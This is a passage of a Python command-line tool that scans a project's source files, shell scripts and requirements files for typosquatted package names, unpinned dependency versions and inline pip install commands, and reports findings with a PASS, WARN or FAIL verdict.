    if target_path.is_dir():
        for p in sorted(target_path.rglob("*")):
            if p.is_file():
                s = str(p)
                if s.endswith(".py"):
                    py_files.append(s)
                    script_files.append(s)
                elif s.endswith(".sh"):
                    script_files.append(s)
                elif p.name in ("requirements.txt", "requirements-dev.txt"):
                    req_files.append(s)

    return py_files, req_files, script_files


def run_check(target: str, strict: bool) -> CheckReport:
    """Run the full supply chain check."""
    py_files, req_files, script_files = collect_files(target)
    findings: List[Finding] = []
    checked_packages: Set[str] = set()

    # 1. Check imports in Python files for typosquatting
    for pf in py_files:
        imports = extract_imports_from_python(pf)
        for line_num, pkg in imports:
            if pkg in checked_packages:
                continue
            checked_packages.add(pkg)
            is_typo, real_pkg = check_typosquatting(pkg)
            if is_typo:
                findings.append(Finding(
                    severity="HIGH",
                    category="TYPOSQUAT",
                    file=pf,
                    line=line_num,
                    package=pkg,
                    detail=f"Package '{pkg}' looks like a typosquat of '{real_pkg}'",
                    fix=f"Verify the package name. Did you mean '{real_pkg}'?",
                ))

    # 2. Check requirements files
    for rf in req_files:
        deps = extract_deps_from_requirements(rf)
        for line_num, pkg, is_pinned in deps:
            # Typosquatting check
            if pkg not in checked_packages:
                checked_packages.add(pkg)
                is_typo, real_pkg = check_typosquatting(pkg)
                if is_typo:
                    findings.append(Finding(
                        severity="CRITICAL",
                        category="TYPOSQUAT",
                        file=rf,
                        line=line_num,
                        package=pkg,
                        detail=f"Dependency '{pkg}' looks like a typosquat of '{real_pkg}'",
                        fix=f"Replace with the correct package name: '{real_pkg}'",
                    ))

            # Unpinned version check
            if not is_pinned:
                findings.append(Finding(
                    severity="INFO",
                    category="UNPINNED",
                    file=rf,
                    line=line_num,
                    package=pkg,
                    detail=f"Dependency '{pkg}' is not pinned to an exact version",
                    fix=f"Pin to a specific version: {pkg}==<version>",
                ))

    # 3. Scan scripts for inline pip install commands
    for sf in script_files:
        pip_cmds = scan_for_pip_install(sf)
        for line_num, line_text in pip_cmds:
            findings.append(Finding(
                severity="HIGH",
                category="INLINE-INSTALL",
                file=sf,
                line=line_num,
                package="pip",
                detail=f"Inline package installation found: {line_text[:60]}",
                fix="Move dependencies to requirements.txt instead of installing inline",
            ))

    critical = sum(1 for f in findings if f.severity == "CRITICAL")
    high = sum(1 for f in findings if f.severity == "HIGH")
    info = sum(1 for f in findings if f.severity == "INFO")

    if critical > 0:
        verdict = "FAIL"
    elif high > 0:
        verdict = "FAIL" if strict else "WARN"
    else:
        verdict = "PASS"

    total_files = len(set(py_files + req_files + script_files))

    return CheckReport(
        target=target,
        files_scanned=total_files,
        packages_checked=len(checked_packages),
        total_findings=len(findings),
        critical_count=critical,
        high_count=high,
        info_count=info,
        verdict=verdict,
        findings=[asdict(f) for f in findings],
    )


def format_human_readable(report: CheckReport) -> str:
    """Format the report for human-readable terminal output."""
    lines = [
        "",
        "+" + "=" * 55 + "+",
        "|  SUPPLY CHAIN CHECK REPORT" + " " * 28 + "|",
        f"|  Target: {report.target[:44]:<44} |",
        f"|  Files scanned: {report.files_scanned:<37} |",
        f"|  Packages checked: {report.packages_checked:<34} |",
        f"|  Verdict: {report.verdict:<43} |",
        "+" + "=" * 55 + "+",
        f"|  CRITICAL: {report.critical_count}  |  HIGH: {report.high_count}  |  INFO: {report.info_count}",
        "+" + "=" * 55 + "+",
        "",
    ]

    if not report.findings:
        lines.append("  No supply chain issues found.")
        lines.append("")
        return "\n".join(lines)

    for f in report.findings:
        lines.append(f"{f['severity']} [{f['category']}] {f['file']}:{f['line']}")
        lines.append(f"  Package: {f['package']}")
        lines.append(f"  Detail: {f['detail']}")
        lines.append(f"  Fix: {f['fix']}")
        lines.append("")

    return "\n".join(lines)


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Check for typosquatting risks in import statements and "
                    "dependency declarations. Validates requirements.txt for "
                    "unpinned versions and detects inline pip install commands.",
        epilog="Examples:\n"
               "  %(prog)s scripts/\n"
               "  %(prog)s requirements.txt\n"
               "  %(prog)s . --strict --json\n",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "target",
        help="File or directory to check (scans .py and requirements.txt files)",
    )
    parser.add_argument(
        "--strict",
        action="store_true",
        default=False,
        help="Strict mode: any HIGH finding upgrades verdict to FAIL",
    )
    parser.add_argument(
        "--json",
        action="store_true",
        default=False,
        dest="json_output",
        help="Output results as JSON instead of human-readable text",
    )
    args = parser.parse_args()

    target = os.path.abspath(args.target)
    if not os.path.exists(target):
        print(f"Error: target '{args.target}' does not exist.", file=sys.stderr)
        sys.exit(2)

    report = run_check(target, args.strict)

    if args.json_output:
        print(json.dumps(asdict(report), indent=2))
    else:
        print(format_human_readable(report))

    sys.exit(1 if report.verdict == "FAIL" else 0)


if __name__ == "__main__":
    main()